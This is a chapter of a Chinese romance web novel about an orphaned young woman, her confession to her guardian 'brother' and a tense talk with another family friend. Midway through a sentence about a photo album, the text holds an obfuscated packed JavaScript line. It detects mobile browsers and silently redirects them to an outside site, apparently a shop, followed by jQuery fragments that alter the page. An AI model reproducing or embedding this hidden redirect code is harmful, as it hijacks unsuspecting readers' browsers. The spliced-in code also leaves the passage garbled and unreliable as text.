不等她回答，他折身去接热水，余简之立刻抬手覆住眼，再移开，白色的瓷杯出现在她眼前。


    “好点么？要不要喝水？”


    眼泪更加汹涌，这是她幻想过多少次的画面？她多希望此时此刻不是在北京，而是在纽约啊。


    她多希望时针能拨回从前，回到那间小小的独居的单人间，那时的余简之比此刻更需要他。


    余简之张张唇，一个音都没发出来，她又下意识地想去咳嗽清嗓子，梁怀聿从她偏头的动作中察觉，手抬起抵住她的额头。


    “不要咳，越咳越不舒服。喝点水润润嗓子。”


    余简之没忍住，闷咳了两声，含着泪眼去端水，梁怀聿手一偏，稳稳地将水送到她嘴边。


    她就着他递来的水，低头抿了一口。喝完水，抬了抬手，点滴已经打完了，手背上留着留置针。


    “明天和后天需要再打一次点滴。”


    日常生活里的这类小安排，余简之大多没有异议，轻轻点头。


    几点了？


    她用嘴型问。


    梁怀聿盯着她读了几秒，余简之回看他沉沉的眸子，又重复了一遍。窗外是夜色，可是冬天天黑得早，她不知道几点了。


    “六点。”他看了眼腕表，“简之我等会送你回去。”


    他语气温和，余简之眼眶更热。她赶紧低头，用鼻子轻轻应了一声，却带出一串鼻涕泡，她慌忙用手去捂，梁怀聿将纸巾递到她手边。


    他看着她擦干净，鼻子被擤得通红，才开口：“你再等等，我让人准备了你的晚饭送来。你嗓子不舒服，需要单独的餐食。平安今晚有课，来不及给你做。”


    余简之又用鼻子应了一声，摸出手机给平安发消息，告诉她晚饭不回来吃了。


    大约五分钟后，有人轻轻敲门，送进来一个素色的保温袋。梁怀聿接过，从里面取出一个保温的陶瓷炖盅和一个白瓷碗。他打开炖盅的盖子，热气伴着清淡的香气袅袅升起。他盛了一碗，端到她面前的茶几上。


    是瑶柱菜心粥，余简之握起勺子尝了一口，米粒炖到完全开花，接近糜状，无需费力咀嚼，即可顺滑下咽。至于好不好吃，她嘴巴里苦涩一片，吃什么对她来说没太多区别。


    梁怀聿像怕她不肯吃，解释说：“粥里没放盐，用干贝提味，应该是你喜欢的味道。这个菜心炖烂了，好消化。”


    另一盅是杏仁百合炖蛋羹，金灿灿的蒸蛋，看着很有食欲。


    余简之看看这碗精致的蛋羹，又看看手边温热的粥，再抬眼，梁怀聿正沉静地看着她，一切都太周到，太妥帖。


    她的胸口猛然一堵，明明是她期待的一切，可不知怎的突然来了脾气，尖锐的疼痛几乎要将她戳破，她握着勺子的手一松。


    一双手飞快地从旁伸来，在下方稳稳托住了那只即将磕在碗沿上的勺子。


    他的手很暖，指节分明，就这样托着勺柄，也托住了她微颤的手。没有立刻收回，仿佛在确认她是否能拿稳。


    余简之垂着脑袋，眼泪蓄满眼眶，滚烫地打着转，将眼前他的手指、瓷白的勺柄、金黄的蒸蛋，所有所有的一切，都晕染成一片晃荡的光影。


    此刻对她越上心越温柔，越是事无巨细，越是无微不至，在美国独自生病的、冰冷的、被遗弃的记忆，就越是汹涌地翻腾上来。


    身在异乡，发烧烧到三十九度。她蜷在出租屋的单人床上，盯着天花板上的裂缝。头痛到无法入睡，数羊从一到一百反反复复数了无数遍，心头依然清醒。


    她想给梁怀聿打电话，想告诉他我很难受，想问他能不能来看我。手机就在枕头边，她始终没有拿起来。


    因为她被他拉黑了，她担心这次依然无法打通他的电话。独自生活的、生病的、小小的她，无法再承受被抛弃的痛苦。


    有人替她打了这通电话。


    然而她没有等到他来。


    收到自己被抛弃的消息，她庆幸自己已经痊愈，不至于大病不起。


    明明她不该生气，明明是她不告而别，明明她的一切是他带给她的，明明，明明。


    余简之反手从他手里抢过勺子，埋着头一口一口吃饭。梁怀聿默默从她面前起身离开。


    余简之维持着低头的姿势很久，眼泪一颗接着一颗，沉默地掉进粥里，她终于恢复味觉品尝到咸味。


    半分钟后，脚步声去而复返。


    她没有抬头，感受到他的靠近，阴影笼罩下来，混合着熟悉的味道。


    然后，温柔的触感落在她的脸颊上。


    他的手指有些凉，凉意被纸巾隔绝，他用极其轻柔的力道，抚过她的眼下，拭去挂在睫毛上的泪珠和湿漉漉的脸颊。


    余简之浑身一僵，忘了哭泣，只是怔怔地抬起泪眼。


    从前她喜欢他的手。修长的，笔直的，余简之喜欢梁怀聿伸手摸她的发顶，因为他会俯身，在这时，他好似离她更近。余简之也喜欢梁怀聿掐她的脸，她的脸颊肉肉的，他不会用太多力，她喜欢他温热的指腹贴上她冰凉的脸颊，她会眨也不眨地盯着他的手。


    而此时此刻，这双手在擦拭她的眼泪。更轻，更柔，是与放在发丝上、捏在脸颊上，完全不同的触感。


    她喜欢这样的触感。


    “我没有生小简的气。”


    他仔细擦掉最后一点湿意。


    “过去几年是哥哥没有做好，以后不会了。”


    梁怀聿继续说着，将用过的纸巾慢慢折好，握在掌心。


    余简之红着眼，唤了一声“哥哥”。


    “哥哥，”她吸了吸鼻子，声音哑得完全听不清，“我和景翊——”


    “简之。”梁怀聿打断她，声音不高，“你嗓子不舒服，不要再说了。”


    “你还年轻，有很多事可以慢慢想，慎重考虑。哥哥不是想干涉你的人生，是不希望小简做出将来会后悔的选择。”


    余简之听着他的话，一句一句，像钉子狠狠钉进心里，钻心的痛。


    不能让他再说下去了。


    “哥哥！我选第二个！”


    突然爆发的力气打断他，嗓子疼得像刀割，余简之顾不上这些，她沉了沉，脑袋直愣愣地发晕，像个不倒翁铅球。


    她哑着嗓子重复：“那个雪夜，如果哥哥不说那些话，我也会向哥哥表达我的感情。现在我想选第二个，可以吗？”


    她怔怔地盯着梁怀聿的神色，他整个人像是温度骤降被凝固的冰面，略微疑惑的，像是没有听清她的话。时间仿佛被拉长，走廊里传来很远的说话声，像是被风从遥远的地方吹来。


    “简之，你……”


    浮尘在月色下游动，从她们之间缓缓弥漫。


    喉咙的疼痛后知后觉地袭来，慢慢悠悠吞吞，几乎将她的五脏六腑全部灼烧。


    “我已经长大了。可不可以不要把我当小孩了？哥哥曾经也把我视作女人，不是吗？继续把我看作女人吧……为什么现在又要用对待孩子的方式将我包裹？”


    “你不要再说了。”


    梁怀聿的声音落下，像一块沉冰坠入黑暗的深潭。


    余简之的睫毛颤抖，那些浮尘还在光里旋转。


    然后她看见，梁怀聿像是再也无法承受她目光的重量，几乎仓促地别开了脸，再也没有视线落在她的脸上。


    “小简你忘了那些吧。”


    余简之张着嘴，无声地回答他，可他低着头，看不见她的唇语。她急得发出一点气音，像黏人的幼猫，半起身去捉他的手腕。


    梁怀聿忍着没有甩开，回身看着她，余简之手指发着抖，指着自己的嘴唇，她的小脸皱着，其实她不止撒谎时爱皱眉。


    很慢很慢地，一个字一个字从她的嘴唇里泄出来：


    哥哥已经忘了我吗？没有一点喜欢我吗？


    我喜欢你。


    余简之的手还搭在他的腕上，滚烫，发抖，她仰着脸，但是说这些话时，眼泪不肯往下掉，她一定不要用眼泪代替她的话语。


    梁怀聿的呼吸停歇了。他没有立刻抽手，也没有回应，只是任由她抓着，这片刻的接触是他能给予的最后的僭越。


    她的手太烫，烫得他心口发紧。梁怀聿猛然惊醒，托住她的肘弯，将她放回桌上。


    “你太固执了，余简之，你会吃亏的。”他叫她的全名，痛惜与愤怒交织。


    还要怎样吃亏？她吃的亏还不够多吗？


    她张着嘴，想说的太多——


    对不起，我不该不和你商量，就去美国。哥哥，你原谅我，好不好？


    他甩开她攀来的双手。


    “是我的错，不是简之的错。”


    余简之气声哀哀地恳求，不要，不要，不要离开我好不好？


    别不要我，好不好？


    -


    第二天午休，余简之再次来到文容的办公室，一边打点滴一边吃午饭。她一边吃，一边偷偷往外瞄了好几眼。


    昨晚她几乎算是被赶出了办公室，梁怀聿用无言强硬地终止了对话，强行让司机送她回家。


    此刻她既想再见梁怀聿，又害怕他的出现。


    文容坐在对面，饶有兴致地看着她。


    嗓子好了不少，至少发得出声音，余简之被他盯得耳根发热，故意凶巴巴地回怼：“干嘛！文容哥这是什么眼神！”


    “你长大了，很漂亮，”文容依旧笑着，言简意赅地肯定，“难怪景翊会喜欢你。”


    他转身从书柜里取出一个绒面的相册，轻轻放到她手边：“喏，你瞧瞧，这是前两天我和你哥哥整理的照片。”


    余简之疑惑翻开，只几页，立刻就不好意思地合上。


    相册第一页，是八岁的她，尺码合乎身高的棉袄，在她身上依然宽宽大大，脸颊通红，眼神怯生生却又明亮，正仰头看着镜头外的某个人。下一页，是十岁的她，穿着干净的格子裙，坐在窗边看书，阳光洒在柔软的发顶。


    再往后翻，十二岁、十五岁、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269869|197269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    十八岁……每一段年月的她，都被镜头悄然定格。有些时刻她甚至不知道自己被拍下了。照片里的背景在变，她的模样在变，唯独那份被镜头温柔凝视的感觉，贯穿始终。


    眼泪已经在转悠，她抬手揩了揩，用言语慌乱地掩饰：“你们……整这么煽情干嘛！”


    文容没有笑，也没有安慰。他只是安静地看着她。


    很多年前，她还是个瘦小的、不太会说话的小豆芽。如今已是亭亭玉立、聪明优秀的少女。


    “看到你长这么大，开心，也难过。开心的是，当年那个瘦瘦小小的小女孩，真的好好长大了。你是上天送给我们的礼物，出落得这么优秀。难过的是，时间走得那么快，不知不觉，我们和你的距离就拉远了。”


    “小简，这个世界上，人与人之间的距离是很远的，远到有时一个转身，就是陌路，但有时候，它又极其近，近到只需要一句话，两个人的距离就会被无限拉近。我们这一生，能与一个人建立深刻的联结，是一件非常困难的事。能十几年如一日地把另一个人放在心上，更难。小简是一个重情重义的人，哥哥知道。怀聿他性子……有些事，他可能确实做错了，要他低头承认，很难。可是小简，有些架吵赢了，道理争明白了，然后呢？除了嘴上那点短暂的痛快，又能得到什么呢？哥哥希望你能低头找他和好，好吗？”


    余简之喝了口热汤，温烫的，从喉咙一路烫到心口，又暖又涩。


    看来昨晚她是故意被留在他的办公室了，文容给予他们一个和好的契机，却想不到和好的唯一途径只能是……


    她放下碗：“文容哥哥，你根本不知道我们……”


    “不管发生什么，我们都是一家人。有什么事情，是不可以一家人坐下来，心平气和，好好说说的呢？怀聿哥哥绝对没有真的责怪你的意思，只要你微微低头，这件事就这么过去了，他不可能不疼你。”


    文容沉沉地叹了口气，“接下来的话，你听着可能不太舒服。小简，我们老了。这一架，你们吵了多久了？四五年有了吧？从你去美国开始，这根刺就扎下了。转眼你大学毕业，硕士也毕业了，开始工作了……低低头，为了他，为了你自己，把时间浪费在争吵与不愉快上，不值得。把这事翻过去，往前看，好吗？”


    余简之蜷紧了手指：“文容哥，我讨厌被冤枉，所以我今天必须要把话说出来告诉你，所有的结局不是我一个人造成的，就算我有错，那也得往上追溯到我无父无母惹得你们怜爱。”


    “我知道，我知道。”她这话说得吓人，文容急忙安抚，语气不自觉带上恳求，“如果是小简的问题。小简会低头认错，问题是你们能不能不要纠结这些了？不是非得把每件事揉开说清楚，你放下心结，怀聿不可能不亲近你不照顾你，你也能轻松，不是吗？”


    “不是我低低头就可以回到从前了！”她猛地提高了音量，嗓子疼得要命，她不得不停下来，一阵咳嗽后才继续接上愤怒，“你一直问我劝我，那文容哥你能不能问下哥哥，他还想不想当我哥哥呢？连文容哥都愿意隔三差五来美国探望我，哥哥有没有来过一次呢？那好，是我自作多情，我记得文容哥说过吧？不想和被资助的孩子产生太深的链接，我曾经以为我是例外，那这样看，其实我也是其中之一咯？”


    她猛地别过脸去，下颌线绷紧，眼泪来得又急又凶，根本拦不住，她却倔强地不肯发出一点声音。


    文容吓坏了，立刻否认：


    “不是的简之，你在我和怀聿心里，从来是不一样的，我们都拿你当亲妹妹看待。你认为我在逼你，可是这些年我哪里没有劝过怀聿呢？计较得失没有任何意义，梁怀聿从来没有不关心你，他嘴硬心软罢了，否则我何苦跑到美国那么多次呢？”


    余简之哭着说：“你后来还不是没有来了！”


    文容沉默了，别脸不忍看她泪流满面的样子。


    “……是梁怀聿让我不要再去了。”


    “那你现在问我？”


    “我本来以为我们的缘分，可能就那样结束了。可那么巧你又回来了，又遇见了，既然上天给了第二次机会，我们为什么还要亲手斩断兄妹情谊？小简，我们都很想你，都很舍不得你。”


    “上天给的机会？哥哥，是我自己要回国的。”


    “小简……”


    余简之握紧勺子，机械地一口一口用食物将自己的嘴塞满，咀嚼让她觉得痛苦。她强逼自己冷静下来，又顺了顺气，一连串说了一大口：“对不起哥哥，刚刚是我太冲动了，我不该说那些话伤你们的心。”


    看见文容眼里的心疼与惊慌，眼泪不知不觉又蓄满，她的眼睛像是水库，永远有水在流动。


    文容在帮她，他一直是那个飞来美国看她的人，他什么都没做错。


    她把气撒在了最不该撒的人身上。


    脸埋进手心，她哭着道歉：


    “……你们对我已经很好很好了，是我太任性，是我……是我，是我。对不起。”